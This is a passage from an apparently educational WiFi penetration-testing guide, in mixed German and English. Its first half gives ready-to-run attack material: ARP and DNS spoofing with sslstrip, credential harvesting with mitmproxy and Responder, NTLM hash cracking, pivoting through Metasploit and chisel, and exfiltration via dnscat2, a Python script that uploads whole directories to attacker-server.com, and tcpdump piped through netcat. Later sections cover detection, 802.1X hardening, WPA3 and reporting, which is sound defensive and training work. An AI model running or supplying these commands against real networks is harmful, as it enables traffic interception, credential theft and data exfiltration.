iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 443 -j REDIRECT --to-port 10000

# HTTPS → HTTP downgrade trotz HSTS
# (durch homograph attacks: www.facebook.com → www.facebo0k.com)

Bettercap Full MitM Setup:

# mitm.cap
set arp.spoof.targets 192.168.1.0/24
set arp.spoof.internal true
set arp.spoof.fullduplex true

arp.spoof on
net.sniff on

set net.sniff.verbose true
set net.sniff.local true
set net.sniff.filter 'tcp port 80 or tcp port 443 or tcp port 21 or tcp port 22'

# HTTP Proxy
set http.proxy.sslstrip true
set http.proxy.script inject.js
http.proxy on

# HTTPS Proxy (eigene certs)
set https.proxy.certificate ~/.bettercap/bettercap-cert.pem
set https.proxy.key ~/.bettercap/bettercap-key.pem
set https.proxy.sslstrip true
https.proxy on

# DNS Spoof
set dns.spoof.domains *.google.com, *.facebook.com
set dns.spoof.address 192.168.1.100
dns.spoof on

# Logging
set events.stream.output /tmp/bettercap.log
events.stream on

Ettercap (Classic):

# GUI
ettercap -G

# CLI
ettercap -T -M arp:remote /192.168.1.1// /192.168.1.0/24// -i wlan0

# -T: Text mode
# -M arp:remote: ARP poisoning MitM
# /192.168.1.1//: Gateway
# /192.168.1.0/24//: Targets

# Mit Filters (inject/modify packets)
etterfilter myfilter.ef -o myfilter.ecf
ettercap -T -F myfilter.ecf -M arp:remote /192.168.1.1// /192.168.1.0/24//

# myfilter.ef example:
if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Nothing!");
   }
}

6.2 Credential Harvesting

HTTPS Downgrade Attacks:

# mitmproxy (modern)
pip install mitmproxy

# Transparent proxy mode
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 443 -j REDIRECT --to-port 8080

mitmproxy --mode transparent --showhost

# Interactive: Arrow keys, Enter to inspect
# Or automated with scripts:
mitmdump -s inject_script.py

# inject_script.py
from mitmproxy import http

def request(flow: http.HTTPFlow):
    if "login" in flow.request.url:
        print(f"[+] Login attempt: {flow.request.url}")
        print(f"[+] Data: {flow.request.content}")

Responder (Windows Networks nach WiFi-Zugang):

# Poison LLMNR, NBT-NS, MDNS
responder -I wlan0 -wrf

# -w: WPAD rogue proxy server
# -r: NBT-NS poisoning
# -f: Fingerprint

# Captured Hashes (NTLMv2):
# /usr/share/responder/logs/

# Crack mit hashcat
hashcat -m 5600 captured_ntlmv2.txt rockyou.txt

6.3 Pivoting ins interne Netzwerk

Nach erfolgreichem WiFi-Zugang:

# Vulnerability Scan
nmap --script vuln 192.168.1.0/24

# ============================================
# Pivoting Setup
# ============================================

# SSH Tunnel (wenn SSH zu Attacker-Box möglich)
# Von compromised WiFi client:
ssh -R 9050:localhost:9050 attacker@attack-server.com

# Auf Attacker-Box: SOCKS proxy via SSH
ssh -D 9050 -N -f user@target-network

# proxychains konfigurieren
cat > /etc/proxychains.conf << 'EOF'
[ProxyList]
socks5 127.0.0.1 9050
EOF

# Tools durch Tunnel
proxychains nmap -sT 10.0.0.0/24
proxychains firefox  # Browse internal network
proxychains msfconsole

# ============================================
# VPN Pivot (besser)
# ============================================

# OpenVPN Setup auf compromised host
# Server config auf Attacker-Box:
cat > server.conf << 'EOF'
port 1194
proto udp
dev tun
ca ca.crt
cert server.crt
key server.key
dh dh2048.pem
server 10.8.0.0 255.255.255.0
push "route 192.168.1.0 255.255.255.0"
keepalive 10 120
cipher AES-256-CBC
user nobody
group nogroup
persist-key
persist-tun
status openvpn-status.log
verb 3
EOF

openvpn server.conf

# Client auf compromised system:
openvpn --config client.ovpn

# Nun: Full network access via VPN

# ============================================
# Metasploit Pivoting
# ============================================

# Nach initial access (z.B. via exploit):
meterpreter > background

# Route hinzufügen
msf6 > route add 192.168.1.0/24 SESSION_ID

# Oder autoroute:
meterpreter > run autoroute -s 192.168.1.0/24

# SOCKS Proxy
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(socks_proxy) > set VERSION 5
msf6 auxiliary(socks_proxy) > set SRVPORT 9050
msf6 auxiliary(socks_proxy) > run -j

# Port Forward (specific service)
meterpreter > portfwd add -l 8080 -p 80 -r 192.168.1.50

# Zugriff auf 192.168.1.50:80 via localhost:8080

# ============================================
# Chisel (Modern Tunneling)
# ============================================

# On Attacker:
./chisel server -p 8000 --reverse

# On compromised host:
./chisel client attacker-ip:8000 R:socks

# SOCKS proxy jetzt auf Attacker:1080
proxychains nmap -sT 192.168.1.0/24

6.4 Data Exfiltration

DNS Tunneling:

# dnscat2 (wenn nur DNS erlaubt ist)

# Server (Attacker):
ruby dnscat2.rb attacker-domain.com

# Client (compromised):
./dnscat --dns server=attacker-ip,domain=attacker-domain.com

# Commands:
dnscat2> session -i 1
command (target) 1> shell

# File transfer:
command (target) 1> download /etc/passwd
command (target) 1> upload payload.exe

ICMP Tunneling:

# ptunnel (ICMP tunnel)

# Server:
ptunnel -x password

# Client:
ptunnel -p proxy-ip -lp 8000 -da destination-ip -dp 22 -x password

# SSH via ICMP:
ssh -p 8000 user@localhost

HTTP(S) Exfil:

# Simple exfil script
import requests
import os

def exfil_file(filepath, server):
    with open(filepath, 'rb') as f:
        files = {'file': f}
        requests.post(f"https://{server}/upload", files=files)

# Recursive directory exfil
for root, dirs, files in os.walk("/target/path"):
    for file in files:
        filepath = os.path.join(root, file)
        try:
            exfil_file(filepath, "attacker-server.com")
        except:
            pass

Packet Capture Storage:

# tcpdump zu remote speichern
tcpdump -i wlan0 -w - | ssh user@attacker 'cat > /tmp/capture.pcap'

# Oder mit netcat:
# Attacker:
nc -l -p 4444 > capture.pcap

# Target:
tcpdump -i wlan0 -w - | nc attacker-ip 4444

7. Detection & Blue Team

7.1 Detecting Rogue APs

Kismet als WIDS:

# kismet_alerts.conf
alert=DEAUTHFLOOD,5/sec,5/min,"Deauth flood detected"
alert=CRYPTODROP,1/min,10/min,"Encryption downgrade detected"
alert=DISCONCODEINVALID,3/sec,10/min,"Invalid disconnect reason codes"
alert=BCASTDISCON,5/sec,5/min,"Broadcast deauth/disassoc"
alert=CHANCHANGE,1/min,10/min,"Channel change detected"
alert=DHCPCLIENTID,1/min,10/min,"DHCP client ID change"
alert=BSSIDSPOOF,1/sec,10/min,"BSSID spoofing detected"

# Alerts in Web UI oder via API

Automated Rogue AP Detection:

#!/usr/bin/env python3
from scapy.all import *
import time

# Known good APs (Whitelist)
KNOWN_APS = {
    'Corporate-WiFi': ['AA:BB:CC:DD:EE:FF'],
    'Guest-WiFi': ['11:22:33:44:55:66']
}

rogues = {}

def detect_rogue(pkt):
    if pkt.haslayer(Dot11Beacon):
        ssid = pkt[Dot11Elt].info.decode('utf-8', errors='ignore')
        bssid = pkt[Dot11].addr2
        channel = int(ord(pkt[Dot11Elt:3].info))

        # Check if SSID exists in whitelist
        if ssid in KNOWN_APS:
            if bssid not in KNOWN_APS[ssid]:
                # Rogue AP detected!
                if bssid not in rogues:
                    rogues[bssid] = {
                        'ssid': ssid,
                        'channel': channel,
                        'first_seen': time.time(),
                        'count': 0
                    }
                rogues[bssid]['count'] += 1

                print(f"[!] ROGUE AP DETECTED:")
                print(f"    SSID: {ssid}")
                print(f"    BSSID: {bssid}")
                print(f"    Channel: {channel}")
                print(f"    Legitimate BSSID: {KNOWN_APS[ssid]}")

                # Alert (email, syslog, etc.)
                send_alert(ssid, bssid, channel)

def send_alert(ssid, bssid, channel):
    # Integration mit SIEM, Email, Slack, etc.
    import smtplib
    msg = f"Rogue AP: {ssid} ({bssid}) on channel {channel}"
    # Send email...

# Monitor
sniff(iface="wlan0mon", prn=detect_rogue, store=0)

Commercial WIPS Solutions:

- Cisco Wireless IPS
- Aruba RFProtect
- Ekahau RTLS + Security
- AirMagnet Enterprise
- WatchGuard WiFi Cloud

Features:
- Automatic rogue detection
- Deauth attack detection
- Evil Twin detection
- Client containment
- Forensics & Reporting

7.2 Deauth Attack Detection

Real-time Detection:

#!/usr/bin/env python3
from scapy.all import *
from collections import defaultdict
import time

deauth_counter = defaultdict(int)
THRESHOLD = 5  # Deauths per 10 seconds
WINDOW = 10

def detect_deauth(pkt):
    if pkt.haslayer(Dot11Deauth):
        bssid = pkt.addr2
        deauth_counter[bssid] += 1

        # Check threshold
        if deauth_counter[bssid] > THRESHOLD:
            print(f"[!] Deauth Attack Detected from {bssid}")
            print(f"    Count: {deauth_counter[bssid]} in {WINDOW}s")
            print(f"    Target: {pkt.addr1}")
            print(f"    Reason: {pkt[Dot11Deauth].reason}")

            # Automated Response
            # 1. Alert admins
            # 2. Enable PMF on AP (if available)
            # 3. MAC blacklist attacker
            # 4. Locate attacker (via triangulation)

# Periodic cleanup
def cleanup():
    while True:
        time.sleep(WINDOW)
        deauth_counter.clear()

import threading
threading.Thread(target=cleanup, daemon=True).start()

sniff(iface="wlan0mon", prn=detect_deauth, store=0)

802.11w (PMF) Verification:

# Check if AP has PMF enabled
iw dev wlan0 scan | grep -A 20 "SSID: YourNetwork" | grep "MFP"

# Output should show:
# * MFP: required (best)
# * MFP: capable (OK, but can be downgraded)
# * No MFP mentioned = vulnerable

# Enable PMF on AP (example: hostapd)
# In hostapd.conf:
ieee80211w=2  # 0=disabled, 1=optional, 2=required

7.3 Evil Twin Detection (Client-Side)

Certificate Pinning:

<!-- Android app: network_security_config.xml -->
<network-security-config>
    <domain-config>
        <domain includeSubdomains="true">company-wifi.local</domain>
        <trust-anchors>
            <certificates src="@raw/company_ca"/>
        </trust-anchors>
        <pin-set expiration="2025-12-31">
            <pin digest="SHA-256">base64EncodedPin1==</pin>
            <pin digest="SHA-256">base64EncodedPin2==</pin>
        </pin-set>
    </domain-config>
</network-security-config>

WPA Enterprise Profile Hardening (Windows):

<!-- WiFi Profile XML -->
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
    <name>Corporate-WiFi</name>
    <SSIDConfig>
        <SSID>
            <name>Corporate-WiFi</name>
        </SSID>
    </SSIDConfig>
    <connectionType>ESS</connectionType>
    <connectionMode>auto</connectionMode>
    <MSM>
        <security>
            <authEncryption>
                <authentication>WPA2</authentication>
                <encryption>AES</encryption>
                <useOneX>true</useOneX>
                <FIPSMode>true</FIPSMode>
            </authEncryption>
            <PMKCacheMode>disabled</PMKCacheMode>
            <OneX xmlns="http://www.microsoft.com/networking/OneX/v1">
                <EAPConfig>
                    <EapHostConfig>
                        <EapMethod>
                            <Type>25</Type> <!-- PEAP -->
                            <VendorId>0</VendorId>
                            <VendorType>0</VendorType>
                            <AuthorId>0</AuthorId>
                        </EapMethod>
                        <Config>
                            <Eap>
                                <Type>25</Type>
                                <EapType>
                                    <ServerValidation>
                                        <DisableUserPromptForServerValidation>true</DisableUserPromptForServerValidation>
                                        <ServerNames>radius.company.com</ServerNames>
                                        <TrustedRootCA>3F 51 B3 ...</TrustedRootCA>
                                    </ServerValidation>
                                    <FastReconnect>false</FastReconnect>
                                </EapType>
                            </Eap>
                        </Config>
                    </EapHostConfig>
                </EAPConfig>
            </OneX>
        </security>
    </MSM>
</WLANProfile>

<!-- Deploy via GPO oder SCCM -->

Automated Client-Side Detection:

#!/usr/bin/env python3
# WiFi Guard - Client-side Evil Twin detector

import subprocess
import json
import hashlib

# Known good AP fingerprints
KNOWN_APS = {
    'Corporate-WiFi': {
        'bssid': 'AA:BB:CC:DD:EE:FF',
        'cert_hash': 'sha256_hash_of_certificate',
        'channel': 6
    }
}

def get_current_ap():
    # Linux (iw)
    result = subprocess.run(['iw', 'dev', 'wlan0', 'link'], 
                          capture_output=True, text=True)
    # Parse BSSID, channel
    return parsed_data

def get_certificate():
    # Extract cert from RADIUS
    # Compare with known good
    pass

def check_ap():
    current = get_current_ap()
    ssid = current['ssid']

    if ssid in KNOWN_APS:
        if current['bssid'] != KNOWN_APS[ssid]['bssid']:
            print("[!] WARNING: BSSID mismatch!")
            print(f"    Expected: {KNOWN_APS[ssid]['bssid']}")
            print(f"    Current: {current['bssid']}")
            # Disconnect
            subprocess.run(['nmcli', 'device', 'disconnect', 'wlan0'])
            return False

    return True

# Continuous monitoring
import time
while True:
    check_ap()
    time.sleep(10)

8. Defense Strategies

8.1 Network Architecture

Segmentation Best Practices:

Internet
    |
Firewall
    |
    ├─── Management VLAN (10.0.0.0/24)
    |    └─── WiFi Controllers, Admin access
    |
    ├─── Corporate WiFi (VLAN 10, 10.1.0.0/16)
    |    └─── 802.1X, WPA3-Enterprise
    |    └─── Access to internal resources
    |
    ├─── Guest WiFi (VLAN 20, 10.2.0.0/16)
    |    └─── Captive Portal
    |    └─── Internet only, no internal access
    |    └─── Rate limiting, content filtering
    |
    ├─── IoT VLAN (VLAN 30, 10.3.0.0/16)
    |    └─── WPA3-SAE or WPA2 with strong PSK
    |    └─── Micro-segmentation (device-to-device blocked)
    |    └─── No access to corporate
    |
    └─── Quarantine VLAN (VLAN 99, 10.99.0.0/24)
         └─── Devices failing 802.1X health checks
         └─── Remediation portal only

Firewall Rules (Guest WiFi Example):

# iptables rules for Guest VLAN

# Default deny
iptables -P FORWARD DROP

# Allow established connections
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT

# Allow DNS
iptables -A FORWARD -i guest_vlan -p udp --dport 53 -j ACCEPT
iptables -A FORWARD -i guest_vlan -p tcp --dport 53 -j ACCEPT

# Allow HTTP/HTTPS (Internet only)
iptables -A FORWARD -i guest_vlan -p tcp --dport 80 -j ACCEPT
iptables -A FORWARD -i guest_vlan -p tcp --dport 443 -j ACCEPT

# Block access to internal networks
iptables -A FORWARD -i guest_vlan -d 10.0.0.0/8 -j DROP
iptables -A FORWARD -i guest_vlan -d 172.16.0.0/12 -j DROP
iptables -A FORWARD -i guest_vlan -d 192.168.0.0/16 -j DROP

# Rate limiting per IP
iptables -A FORWARD -i guest_vlan -m hashlimit \
  --hashlimit-name guest_rate \
  --hashlimit-above 50/sec \
  --hashlimit-burst 100 \
  --hashlimit-mode srcip \
  -j DROP

# NAT for internet access
iptables -t nat -A POSTROUTING -o wan0 -j MASQUERADE

8.2 802.1X Deployment

RADIUS Configuration (FreeRADIUS):

# /etc/freeradius/3.0/clients.conf
client wireless-controller {
    ipaddr = 10.0.0.10
    secret = super_secret_key_change_me
    require_message_authenticator = yes
    nas_type = other
}

# /etc/freeradius/3.0/mods-available/eap
eap {
    default_eap_type = peap
    timer_expire = 60
    ignore_unknown_eap_types = no
    cisco_accounting_username_bug = no
    max_sessions = ${max_requests}

    tls-config tls-common {
        private_key_password = whatever
        private_key_file = ${certdir}/server.key
        certificate_file = ${certdir}/server.pem
        ca_file = ${cadir}/ca.pem
        dh_file = ${certdir}/dh

        # Security settings
        cipher_list = "HIGH:!aNULL:!MD5:!RC4"
        cipher_server_preference = yes
        tls_min_version = "1.2"

        # OCSP checking
        check_cert_issuer = "/C=US/ST=State/O=Company/CN=Company CA"
        check_cert_cn = "%{User-Name}"
    }

    peap {
        tls = tls-common
        default_eap_type = mschapv2
        copy_request_to_tunnel = no
        use_tunneled_reply = yes
        virtual_server = "inner-tunnel"
    }

    mschapv2 {
        # No additional config needed
    }
}

# /etc/freeradius/3.0/sites-available/default
authorize {
    filter_username
    preprocess

    # LDAP/AD integration
    ldap

    if (ok || updated) {
        update control {
            Auth-Type := LDAP
        }
    }

    eap {
        ok = return
    }
}

authenticate {
    Auth-Type LDAP {
        ldap
    }

    eap
}

# LDAP Module for AD integration
# /etc/freeradius/3.0/mods-available/ldap
ldap {
    server = 'ldap.company.com'
    port = 389
    identity = 'cn=radius,ou=service,dc=company,dc=com'
    password = 'password'
    base_dn = 'dc=company,dc=com'

    user {
        base_dn = 'ou=users,dc=company,dc=com'
        filter = "(sAMAccountName=%{%{Stripped-User-Name}:-%{User-Name}})"
    }

    group {
        base_dn = 'ou=groups,dc=company,dc=com'
        filter = '(objectClass=group)'
        membership_attribute = 'memberOf'
    }
}

Dynamic VLAN Assignment:

# FreeRADIUS returns VLAN based on user group

# In authorize section:
authorize {
    # ... existing config ...

    if (LDAP-Group == "Corporate-Users") {
        update reply {
            Tunnel-Type = VLAN
            Tunnel-Medium-Type = IEEE-802
            Tunnel-Private-Group-Id = "10"  # Corporate VLAN
        }
    }
    elsif (LDAP-Group == "Contractors") {
        update reply {
            Tunnel-Type = VLAN
            Tunnel-Medium-Type = IEEE-802
            Tunnel-Private-Group-Id = "20"  # Limited access VLAN
        }
    }
    else {
        update reply {
            Tunnel-Type = VLAN
            Tunnel-Medium-Type = IEEE-802
            Tunnel-Private-Group-Id = "99"  # Quarantine
        }
    }
}

8.3 WPA3 Migration

Transition Mode Configuration:

# hostapd.conf - WPA3 Transition Mode
interface=wlan0
driver=nl80211
ssid=Corporate-WiFi
channel=6
hw_mode=g
ieee80211n=1
ieee80211w=1  # PMF capable (not required for WPA2 clients)

# WPA2 + WPA3
wpa=2
wpa_key_mgmt=WPA-PSK SAE  # Both PSK (WPA2) and SAE (WPA3)
rsn_pairwise=CCMP
wpa_passphrase=SecurePassword123!
sae_password=SecurePassword123!

# SAE configuration
sae_anti_clogging_threshold=10
sae_require_mfp=0  # Not required in transition mode

# Eventually migrate to WPA3-only:
# wpa_key_mgmt=SAE
# ieee80211w=2  # PMF required
# sae_require_mfp=1

Client Compatibility Testing:

#!/usr/bin/env python3
# Test WPA3 compatibility of clients

import subprocess
import re

def test_client_wpa3(interface):
    """Check if client supports WPA3"""

    # Check for SAE support in iw
    result = subprocess.run(['iw', 'list'], capture_output=True, text=True)

    supports_sae = 'SAE' in result.stdout
    supports_pmf = '* MFP-capable' in result.stdout or '* MFP-required' in result.stdout

    print(f"[+] Interface: {interface}")
    print(f"    WPA3 (SAE): {'✓' if supports_sae else '✗'}")
    print(f"    PMF: {'✓' if supports_pmf else '✗'}")

    if supports_sae and supports_pmf:
        print("    Status: WPA3 Ready")
    elif supports_pmf:
        print("    Status: WPA2 with PMF only")
    else:
        print("    Status: Legacy WPA2 only")

    return supports_sae and supports_pmf

# Test all wireless interfaces
result = subprocess.run(['iw', 'dev'], capture_output=True, text=True)
interfaces = re.findall(r'Interface (\w+)', result.stdout)

for iface in interfaces:
    test_client_wpa3(iface)

8.4 Monitoring & Logging

Centralized Logging (Syslog):

# rsyslog configuration for WiFi logs

# /etc/rsyslog.d/50-wifi.conf
:programname, isequal, "hostapd" /var/log/wifi/hostapd.log
:programname, isequal, "wpa_supplicant" /var/log/wifi/wpa_supplicant.log
:programname, isequal, "freeradius" /var/log/wifi/radius.log

# Stop processing if matched
& stop

# Rotate logs
# /etc/logrotate.d/wifi
/var/log/wifi/*.log {
    daily
    missingok
    rotate 30
    compress
    delaycompress
    notifempty
    create 640 root adm
    sharedscripts
    postrotate
        /usr/lib/rsyslog/rsyslog-rotate
    endscript
}

SIEM Integration (Splunk Example):

# inputs.conf
[monitor:///var/log/wifi/]

disabled = false index = wifi sourcetype = wifi_logs # props.conf

[wifi_logs]

SHOULD_LINEMERGE = false TIME_PREFIX = ^ TIME_FORMAT = %b %d %H:%M:%S MAX_TIMESTAMP_LOOKAHEAD = 32 TRUNCATE = 0 # transforms.conf

[wifi_extract]

REGEX = (\w+)\s+(\d+)\s+([\d:]+).*?(\w+)\[(\d+)\]:\s+(.*) FORMAT = month::$1 day::$2 time::$3 program::$4 pid::$5 message::$6 # Searches/Alerts # Deauth detection: index=wifi sourcetype=wifi_logs „deauthenticated“ | stats count by src_mac dest_mac | where count > 10 # Failed auth attempts: index=wifi sourcetype=wifi_logs „authentication failed“ | stats count by user_name src_ip | where count > 5 # Rogue AP detection: index=wifi sourcetype=wifi_logs ssid=* | stats dc(bssid) as bssid_count by ssid | where bssid_count > 1

Real-time Alerting:

#!/usr/bin/env python3
# WiFi Security Alert System

import re
import subprocess
import smtplib
from email.mime.text import MIMEText
from datetime import datetime, timedelta
from collections import defaultdict

# Alert thresholds
DEAUTH_THRESHOLD = 10  # per minute
FAILED_AUTH_THRESHOLD = 5  # per user per hour
ROGUE_AP_IMMEDIATE = True

# Counters
deauth_counts = defaultdict(int)
failed_auth = defaultdict(lambda: defaultdict(int))
last_reset = datetime.now()

def send_alert(subject, body):
    msg = MIMEText(body)
    msg['Subject'] = f"[WiFi Security Alert] {subject}"
    msg['From'] = 'alerts@company.com'
    msg['To'] = 'security@company.com'

    s = smtplib.SMTP('localhost')
    s.send_message(msg)
    s.quit()

def parse_log_line(line):
    # Hostapd deauth
    deauth_match = re.search(r'deauthenticated due to', line)
    if deauth_match:
        mac_match = re.search(r'([0-9a-f]{2}:[0-9a-f]{2}:[0-9a-f]{2}:[0-9a-f]{2}:[0-9a-f]{2}:[0-9a-f]{2})', line)
        if mac_match:
            handle_deauth(mac_match.group(1))

    # Failed authentication
    auth_fail_match = re.search(r'authentication failed.*user=([\w\.]+)', line, re.IGNORECASE)
    if auth_fail_match:
        handle_failed_auth(auth_fail_match.group(1))

    # Rogue AP (from Kismet alerts)
    rogue_match = re.search(r'ROGUE.*SSID:\s*(\S+).*BSSID:\s*([0-9a-f:]+)', line, re.IGNORECASE)
    if rogue_match:
        handle_rogue_ap(rogue_match.group(1), rogue_match.group(2))

def handle_deauth(mac):
    global deauth_counts, last_reset

    # Reset counter every minute
    if (datetime.now() - last_reset).seconds >= 60:
        deauth_counts.clear()
        last_reset = datetime.now()

    deauth_counts[mac] += 1

    if deauth_counts[mac] > DEAUTH_THRESHOLD:
        send_alert(
            "Deauth Attack Detected",
            f"Excessive deauthentications from {mac}\n"
            f"Count: {deauth_counts[mac]} in last minute\n"
            f"Time: {datetime.now()}"
        )
        deauth_counts[mac] = 0  # Reset to avoid spam

def handle_failed_auth(username):
    global failed_auth

    hour = datetime.now().hour
    failed_auth[username][hour] += 1

    if failed_auth[username][hour] > FAILED_AUTH_THRESHOLD:
        send_alert(
            "Brute Force Attempt",
            f"Multiple failed auth attempts for user: {username}\n"
            f"Count: {failed_auth[username][hour]} in last hour\n"
            f"Time: {datetime.now()}"
        )
        failed_auth[username][hour] = 0

def handle_rogue_ap(ssid, bssid):
    if ROGUE_AP_IMMEDIATE:
        send_alert(
            "ROGUE AP DETECTED",
            f"Unauthorized AP broadcasting known SSID\n"
            f"SSID: {ssid}\n"
            f"BSSID: {bssid}\n"
            f"Time: {datetime.now()}\n"
            f"ACTION REQUIRED: Locate and disable this device"
        )

# Tail logs and process
def main():
    proc = subprocess.Popen(
        ['tail', '-F', '/var/log/wifi/hostapd.log', '/var/log/wifi/radius.log'],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE
    )

    print("[+] WiFi Security Monitor started")

    for line in iter(proc.stdout.readline, b''):
        parse_log_line(line.decode('utf-8'))

if __name__ == '__main__':
    main()

9. Reporting & Documentation

9.1 Professional Report Structure

# WiFi Security Assessment Report

## Executive Summary
- Scope and objectives
- Key findings (high-level)
- Risk rating
- Recommendations summary
- Timeline for remediation

## Methodology
- Standards followed (OWASP, NIST, PCI-DSS)
- Tools used
- Testing phases
- Limitations

## Findings

### Finding 1: Weak WPA2 Pre-Shared Key
**Severity:** Critical
**CVSS Score:** 9.8

**Description:**
The wireless network "Corporate-WiFi" uses WPA2-PSK with a weak passphrase that was cracked within 2 hours using a standard dictionary attack.

**Evidence:**
- SSID: Corporate-WiFi
- BSSID: AA:BB:CC:DD:EE:FF
- Encryption: WPA2-PSK (CCMP)
- Cracked Password: Company123!
- Time to crack: 1h 47m
- Method: Offline dictionary attack via captured 4-way handshake

**Impact:**
- Unauthorized network access
- Man-in-the-middle attacks possible
- Access to internal resources
- Data exfiltration risk

**Recommendation:**
1. Immediate: Change PSK to complex 20+ character passphrase
2. Short-term: Migrate to WPA3-SAE
3. Long-term: Implement WPA2/3-Enterprise with 802.1X

**References:**
- CWE-521: Weak Password Requirements
- OWASP A07:2021 – Identification and Authentication Failures

### Finding 2: [Next finding...]

## Risk Matrix
[Table of all findings with severity]

## Conclusion
[Summary and next steps]

## Appendices
### Appendix A: Detailed Technical Data
- Captured handshakes
- Network diagrams
- Tool outputs

### Appendix B: Remediation Checklist
[ ] Item 1
[ ] Item 2

### Appendix C: References

9.2 CVSS Scoring for WiFi Vulnerabilities

Example: WPA2-PSK with Weak Password

CVSS v3.1 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector (AV): Adjacent Network (A)
- Attacker must be within WiFi range

Attack Complexity (AC): Low (L)
- Standard tools, no special conditions

Privileges Required (PR): None (N)
- No authentication needed to capture handshake

User Interaction (UI): None (N)
- Fully automated attack

Scope (S): Unchanged (U)
- Impacts only the vulnerable component

Confidentiality (C): High (H)
- All network traffic can be decrypted

Integrity (I): High (H)
- Traffic manipulation possible

Availability (A): High (H)
- DoS via deauth possible

Base Score: 8.8 (High)

10. Continuous Learning Resources

10.1 Certifications

- OSWP (Offensive Security Wireless Professional)
  Focus: Practical WiFi pentesting
  Lab: 4 hours hands-on exam

- CWNA (Certified Wireless Network Administrator)
  Focus: WiFi fundamentals and administration
  Vendor-neutral

- CWSP (Certified Wireless Security Professional)
  Focus: WiFi security architecture

- CWNP Series (CWNA, CWSP, CWAP, CWDP, CWNE)
  Complete wireless expertise path

- CEH (Certified Ethical Hacker)
  Module on wireless hacking

- GPEN (GIAC Penetration Tester)
  Includes WiFi security

10.2 Labs & Practice

- HackTheBox Machines with WiFi
- TryHackMe WiFi Hacking rooms
- PentesterLab WiFi challenges
- VulnHub WiFi VMs
- Personal Home Lab:
  * Multiple routers with different configs
  * Old hardware (WEP, WPS enabled)
  * Enterprise setup (RADIUS + 802.1X)
  * Capture the Flag scenarios

10.3 Staying Current

Research Papers:
- IEEE 802.11 Working Group publications
- USENIX Security Symposium
- Black Hat / DEF CON presentations
- Academic journals (ACM, IEEE)

Blogs & News:
- Wireshark Blog
- Aircrack-ng News
- SANS Internet Storm Center
- Krebs on Security
- /r/netsec, /r/AskNetsec

Tools to Watch:
- GitHub: aircrack-ng, bettercap, kismet
- PacketStorm Security
- Exploit-DB

Vulnerability Databases:
- CVE (cve.mitre.org)
- NVD (nvd.nist.gov)
- WiFi Alliance Security Advisories

Zusammenfassung: Der Weg zum Senior WiFi Pentester

Phase 1: Fundamentals (3-6 Monate)

  • 802.11 Standards verstehen
  • Kryptographie-Grundlagen
  • Tool-Beherrschung (Aircrack-ng Suite)
  • Basic Attacks (WEP, WPA2-PSK)

Phase 2: Intermediate (6-12 Monate)

  • Enterprise Attacks (802.1X)
  • Evil Twin & MitM
  • Scripting & Automation (Python + Scapy)
  • Client-side Attacks
  • Forensics & Analysis

Phase 3: Advanced (1-2 Jahre)

  • WPA3 Security Assessment
  • RF Layer Understanding
  • Custom Tool Development
  • Large-Scale Assessments
  • WIDS/WIPS Evasion
  • Zero-Day Research

Phase 4: Senior (2+ Jahre)

  • Architecture Review
  • Security Program Development
  • Team Leadership
  • Custom Framework Development
  • Research & Publication
  • Training & Mentoring

Kritische Erfolgsfaktoren:

  • Kontinuierliches Hands-On Lab
  • Echte Assessments (mit Genehmigung!)
  • Community Engagement
  • Code Reading (verstehe wie Tools funktionieren)
  • Defensive Perspektive (Blue Team Thinking)
  • Ethik & Legalität immer beachten

Viel Erfolg auf deinem Weg! 🎯